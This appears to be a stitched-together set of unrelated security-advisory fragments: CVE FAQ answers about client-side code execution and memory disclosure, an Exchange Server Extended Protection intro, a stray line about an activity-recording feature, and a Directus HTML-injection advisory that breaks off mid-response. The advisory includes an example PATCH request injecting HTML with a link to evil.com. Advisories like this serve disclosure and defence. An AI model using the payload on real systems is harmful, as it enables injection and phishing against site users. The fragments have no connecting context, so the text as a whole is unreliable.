**According to the CVSS metric, the attack vector is network (AV:N) and the user interaction is required (UI:R). What is the target context of the remote code execution?** This attack requires an admin user on the client to connect to a malicious server, and that could allow the attacker to gain code execution on the client.

**How could an attacker exploit this vulnerability?** An attacker could exploit this vulnerability by tricking a user into sending a request to a malicious server. This could result in the server returning malicious data that might cause arbitrary code execution on the user's system.

**What type of information could be disclosed by this vulnerability?** Exploiting this vulnerability could allow the disclosure of initialized or uninitialized memory in the process heap.

Introduction In February 2024, we released an update to Exchange Server which contained a security improvement referenced by CVE-2024-21410 that enabled Extended Protection for Authentication (EPA) by default for new and existing installs of Exchange 2019. While we’re currently unaware of any active threat campaigns involving NTLM relaying attacks against Exchange, we have observed threat actors exploiting this vector in the past.

The activity-recording capability has drawn concerns from the security community and privacy experts, but the tech giant is being measured in its gradual rollout, which is still in preview mode.

### Summary The Comment feature has implemented a filter to prevent users from adding restricted characters, such as HTML tags. However, this filter operates on the client-side, which can be bypassed, making the application vulnerable to HTML Injection. ### Details The Comment feature implements a character filter on the client-side, this can be bypassed by directly sending a request to the endpoint. Example Request: ``` PATCH /activity/comment/3 HTTP/2 Host: directus.local { "comment": "<h1>TEST <p style=\"color:red\">HTML INJECTION</p> <a href=\"//evil.com\">Test Link</a></h1>" } ``` Example Response: ```json { "data": { "id": 3, "action": "comment", "user": "288fdccc-399a-40a1-ac63-811bf62e6a18", "timestamp": "2023-09-06T02:23:40.740Z", "ip": "10.42.0.1", "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "collection": "directus_files", "item": "7247dda1-c386-4e7a-...
